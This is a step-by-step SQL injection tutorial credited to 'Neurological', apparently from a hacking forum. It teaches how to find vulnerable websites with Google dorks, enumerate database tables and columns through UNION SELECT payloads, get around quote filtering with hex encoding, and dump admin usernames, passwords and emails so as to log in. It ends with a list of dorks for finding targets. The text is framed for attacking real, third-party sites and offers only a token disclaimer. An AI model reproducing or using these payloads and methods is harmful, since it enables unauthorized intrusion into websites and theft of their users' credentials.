SQL Tutorial

SQL Tutorial
written by Neurological

Table of Contents
=======
Introduction
Part One - Website Assessment
	Section One - Finding a vulnerable website
	Section Two - Determining the amount of columns
	Section Three - Finding which columns are vulnerable
Part Two - Gathering Information
	Section One - Determining the SQL version
	Section Two - Finding the database
Part Three - The Good Stuff
	Section One - Finding the table names
	Section Two - Finding the column names
	Section Three - Displaying the column contents
	Section Four - Finding the admin page

=======
Introduction

Here you will find a very detailed, step by step tutorial originally written by Neurological on SQL injection. This is purely for educational purposes and is to be used at the discretion of the reader.

First we have to know what SQL injection is exactly. According to Wikipedia: "SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks."

Now, that's only the first paragraph. I would advise reading
http://en.wikipedia.org/wiki/SQL_injection
before going on. Once you have finished that and you understand, we can begin.

=======
Part One - Website Assessment

In order for us to start exploiting a website, we must first know exactly what we are injecting into. This is what we will be covering in Part One, along with how to assess the information that we gather.

==
Section One - Finding a vulnerable website

Vulnerable websites can be found using dorks (Appendix I), either in Google or with an exploit scanner. For those of you that are unfamiliar with the term "dorks", I will try to explain.

Dorks are website URLs that are known to be vulnerable. In SQL injection these dorks look like inurl:buy.php?id= . This will be inputted into a search engine, and because of the inurl: part of the dork, the search engine will only return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.

Now, let's say we've found the page
http://www.site.com/buy.php?id=1
In order to test this site, all we need to do is add an apostrophe, either in between the value (in this case, the "1") and the operator (the "=" sign) so it looks like
http://www.site.com/buy.php?id='1
or after the value ("1") so that it looks like
http://www.site.com/buy.php?id=1'

After pressing enter, if this website returns an error along the lines of "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 7" it's vulnerable to injection.

In the case where you are to find a website such as
http://www.site.com/buy.php?id=1&dog;catid=2
you must use the first technique, where you add an apostrophe between the value (in this case the number) and the operator (the "=" sign) so that it looks like
http://www.site.com/buy.php?id='1&dog;catid='2

There are programs that will do this for you, but, to start off, I would suggest simply to do things manually, using Google. After getting skilled enough at this, if you particularly wanted a program for this, I would recommend using the Exploit Scanner by Reiluke.

==
Section Two - Determining the amount of columns

In order for us to be able to use commands and get results, we must know how many columns there are on a website. To find the number of columns, we must use a very complex and advanced method that I like to call "trial and error" with the ORDER BY command Biggrin.

Note: SQL does not care whether or not your letters are capitalized or not. I am doing it for the clarity of this tutorial.

To find the number of columns, we write a query with incrementing values until we get an error. http://www.site.com/buy.php?id=1 ORDER BY 1 <-No error
http://www.site.com/buy.php?id=1 ORDER BY 2 <-No error
http://www.site.com/buy.php?id=1 ORDER BY 3 <-No error
http://www.site.com/buy.php?id=1 ORDER BY 4 <-No error
http://www.site.com/buy.php?id=1 ORDER BY 5 <-error!
In this example, there are four columns.

Be sure not to forget a double null () after the query. It marks when the code ends.

==
Section Three - Finding which columns are vulnerable

Now that we know, in our example, that there are four columns, we have to find out which ones are vulnerable to injection. To do this we use the UNION and SELECT queries while keeping the double null () at the end of the string. There is also one other difference. It is small in size but not in importance. See if you can spot it.

http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4

If you couldn't spot the difference, it's the extra null in between the operator and the value.

buy.php?id=-1

Now, after entering that query, you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are vulnerable to injection. We can use those columns to pull information from the database, which we will see in Part Two.

=======
Part Two - Gathering Information

In this part, we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.

==
Section One - Determining the SQL version.

Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what you want. In this tutorial, I will not be covering version 4 because it really is a guessing game and for the kind of sites that are still using it, it's not worth your time.

If we look back to the end of Section Three in Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2). The command should look like
http://www.site.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4

Because 2 is the vulnerable column, this is where we will place "@@version". Another string that could replace "@@version" is "version()".

If the website still does not display the version try using unhex(hex()) which looks like http://www.site.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4

Note: If this method is used here, it must be used for the rest of the injection as well.

Now what you want to see is something along the lines of "5.1.47-community-log", which is the version of the SQL for the website.

Note: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.

==
Section Two - Finding the database

Finding the name of the database is not always a necessary step to take to gather the information that you want, but, in my experience, following these steps and finding the database may sometimes lead to a higher success rate.

To find the database we use a query like the
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata
This could sometimes return more results than necessary, and so that is when we switch over to
http://www.site.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4

Congratulations! You now have the name of the database! Copy and paste the name somewhere safe; we'll need it for later.


=======
Part Three - The Good Stuff

This is the fun part where we will find the usernames, emails and passwords!

==
Section One - Finding the table names

To find the table names, we use a query that is similar to the one used for finding the database, but with a little bit extra added on.

http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()

It may look long and confusing, but, once you understand it, it really isn't, so I'll try to explain. What this query does is it "groups" (group_concat) the "table names" (table_name) together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).

Note: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit
http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1

What this does is it shows the first and only the first table. So if we were to run out of characters on let's say the 31st table we could use the query
http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1

Notice how my limit was 30,1 instead of 31,1? This is because when using limit is starts from 0,1 which means that the 30th is actually the 31st Tongue.

You now have all the table names!

==
Section Two - Finding the column names

Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s), tblUser(s) and so on but it varies between sites.

After deciding which table you think contains the information, use the query
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"
In my example, I used the table name "Admin".

This will either give you a list of all the columns within the table or give you an error but don't panic if it is outcome #2! All this means is that Magic Quotes is turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex (a link to a website that does this will be included at the end of the tutorial).

UPDATE: If you get an error at this point all you must do is follow these steps:

1. Copy the name of the table that you are trying to access.
2. Paste the name of the table into [url=http://www.swingnote.com/tools/texttohex.php]this website[/url] where it says "Say Hello To My Little Friend".
3. Click convert.
4. Copy the string of numbers/letters under Hex into your query so it looks like [quote]http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e[/quote]

Notice how before I pasted the hex I added a "0x", all this does is tells the server that the following characters are part of a hex string.

You should now see a list of all the columns within the table such as username, password, and email.

Note: Using the limit function does work with columns as well.

==
Section Three - Displaying the column contents

We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is where the database name comes in handy.

http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin

In this query, 0x3a is the hex value of a colon which will group the username:password:email for the individual users just like that.

FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to Section Four.

==
Section Four - Finding the admin page

Usually the admin page will be directly off of the site's home page, here are some examples: http://www.site.com/admin
http://www.site.com/adminlogin
http://www.site.com/modlogin
http://www.site.com/moderator

Once again, there are programs that will find the page for you, but first try some of the basic guesses. It might save you a couple of clicks. If you do use a program, Reiluke has coded one for that as well. Search for Admin Finder by Reiluke.

And that concludes the tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have all of the queries memorized in no time!

Appendix I: Common Dork List
    trainers.php?id=
    article.php?ID=
    play_old.php?id=
    declaration_more.php?decl_id=
    Pageid=
    games.php?id=
    newsDetail.php?id=
    staff_id=
    historialeer.php?num=
    product-item.php?id=
    news_view.php?id=
    humor.php?id=
    communique_detail.php?id=
    sem.php3?id=
    opinions.php?id=
    spr.php?id=
    pages.php?id=
    chappies.php?id=
    prod_detail.php?id=
    viewphoto.php?id=
    view.php?id=
    website.php?id=
    hosting_info.php?id=
    gery.php?id=
    detail.php?ID=
    publications.php?id=
    Productinfo.php?id=
    releases.php?id=
    ray.php?id=
    produit.php?id=
    pop.php?id=
    shopping.php?id=
    productdetail.php?id=
    post.php?id=
    section.php?id=
    theme.php?id=
    page.php?id=
    shredder-categories.php?id=
    product_ranges_view.php?ID=
    shop_category.php?id=
    channel_id=
    newsid=
    news_display.php?getid=
    ages.php?id=
    clanek.php4?id=
    review.php?id=
    iniziativa.php?in=
    curriculum.php?id=
    labels.php?id=
    look.php?ID=
    galeri_info.php?l=
    tekst.php?idt=
    newscat.php?id=
    newsticker_info.php?idn=
    rubrika.php?idr=
    offer.php?idf=